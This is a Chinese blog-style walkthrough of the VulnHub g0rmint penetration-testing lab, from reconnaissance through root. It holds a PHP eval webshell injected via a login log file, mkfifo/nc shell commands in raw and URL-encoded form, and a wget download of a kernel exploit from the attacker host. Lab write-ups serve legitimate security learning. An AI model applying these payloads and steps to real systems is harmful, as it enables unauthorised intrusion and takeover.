最近和组内大佬一起在刷vulnhub,感觉还是学了蛮多实际渗透测试方面的东西。
g0rmint
感觉还是蛮有意思的一个环境,遂记录一下。
攻击机:Kali
IP:192.168.85.134
靶机链接:https://www.vulnhub.com/entry/g0rmint-1,214/
下载完成后直接用vmware打开即可
先用arp-scan -l
查看一下靶机的ip
可以确定是192.168.85.139
的ip了,用nmap扫描一波看看开放的端口的信息
nmap -sS -T4 -A -v -p 1-50000 192.168.85.139
可以看到一共就开放了两个端口
访问80端口之后发现返回的是404
但是nmap的扫描结果中可以看到一个robots文件,不妨先看一下
访问/g0rmint/
页面之后是一个登录界面
尝试一波弱口令无果后,在html源代码中发现了一个奇怪的东西
访问之后依旧是404 就很苦恼了,然后用dirb
爆破了一下目录,发现了点东西
dirb http://192.168.85.139/g0rmint/s3cretbackupdirect0ry/
里面提示了backup.zip
,遂就能下载到源码文件了
文件结构
在login.php
中可以看到
<?php
include_once('config.php');
if (isset($_POST['submit'])) { // If form is submitted
$email = $_POST['email'];
$pass = md5($_POST['pass']);
$sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass");
$sql->bindParam(":email", $email);
$sql->bindParam(":pass", $pass);
$row = $sql->execute();
$result = $sql->fetch(PDO::FETCH_ASSOC);
if (count($result) > 1) {
session_start();
$_SESSION['username'] = $result['username'];
header('Location: index.php');
exit();
} else {
$log = $email;
$reason = "Failed login attempt detected with email: ";
addlog($log, $reason);
}
}
?>
登录失败的时候会生成一个日志文件addlog($log, $reason);
,看下这个addlog的代码
function addlog($log, $reason) {
$myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
if (file_exists($myFile)) {
$fh = fopen($myFile, 'a');
fwrite($fh, $reason . $log . "<br>\n");
} else {
$fh = fopen($myFile, 'w');
fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
fclose($fh);
$fh = fopen($myFile, 'a');
fwrite($fh, $reason . $log . "<br>\n");
}
fclose($fh);
}
偏偏写在了一个.php
的文件中,这样我们的思路就可以尝试在登录邮箱处插入一个php语句,从而任意代码执行
可是在尝试去访问改文件的时候却跳转到了登录界面。
最后发现是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
写入了一个session判断
所以还是得先解决登录的问题。
继续看代码,在db.sql中可以看到一条插入的数据
INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`) VALUES
(1, 'demo', '[email protected]', 'fe01ce2a7fbac8fafaed7c982a04e229');
解密这个哈希值之后发现是demo
尝试登录一波,发现似乎无法登录,可能是后期改了密码或者怎么,总之应该需要换一条登录的思路了
文件中有一个重置密码的文件reset.php
<?php
include_once('config.php');
$message = "";
if (isset($_POST['submit'])) { // If form is submitted
$email = $_POST['email'];
$user = $_POST['user'];
$sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND username = :user");
$sql->bindParam(":email", $email);
$sql->bindParam(":user", $user);
$row = $sql->execute();
$result = $sql->fetch(PDO::FETCH_ASSOC);
if (count($result) > 1) {
$password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
$password = md5($password);
$sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");
$sql->bindParam(":pass", $password);
$row = $sql->execute();
$message = "A new password has been sent to your email";
} else {
$message = "User not found in our database";
}
}
?>
可以看到,只需要知道一个存在的邮箱和用户名,就可以重置密码为一个时间值的哈希
但是,尝试了demo
和一些常用邮箱用户名之后,发现似乎并没有这个用户
后面这个思路确实有点骚,问了队友才知道怎么弄,尝试在全部文件中搜索email
关键字
可以在一个css
文件中看到用户的名字和邮箱
成功重置后,界面右下角也给出了对应的时间,遂能算出相应的哈希值
echo substr(hash('sha1', 'Saturday 15th of September 2018 02:05:51 AM'), 0, 20);
9997d372a7af4f7a680b
用邮箱和算出的哈希值就能登录到后台中
这时也能成功的访问到生成的log文件了
这样,我们在登录的时邮箱处插入一条php语句,写入webshell
<?php eval($_POST[_]); ?>
然后访问对应的日志,提交post参数即可执行任意php代码
然后将shell弹到我的kali中来
在post中*依次传入
_=`mkfifo /tmp/t`;
_=`cat /tmp/t | /bin/sh -i 2>&1 | nc -l 8888 > /tmp/t`;
注意url编码
_=%60mkfifo%20%2ftmp%2ft%60%3B
_=%60cat%20%2ftmp%2ft%20%7C%20%2fbin%2fsh%20-i%202%3E%261%20%7C%20nc%20-l%208888%20%3E%20%2ftmp%2ft%60%3B
第二次post完之后,浏览器会进入阻塞状态,在kali中用nc连接即可
nc -n 192.168.85.139 8888
接下来就是尝试能不能提权成root,先查看一下版本信息
找一下ubuntu 16.04的提权脚本
挑一个44298来看看,将这个文件移动到/var/www/html
目录下之后,在webshell中运行
wget http://192.168.85.134/44298.c /tmp/
然而编译的时候一个比较尴尬的事情发生了,没有安装gcc
所以就只能在本地编译后上传了,为防止一些库的差异,我选择了在我另外一台ubuntu 16.04的虚拟机中编译
gcc 44298.c -o e
然后还是将这个文件放到www目录,通过wget的方式下载到/tmp
目录下
赋予权限,提权
chmod 777 e
./e
就可以成功提权成为root了
至于flag,root都有了,flag还重要么。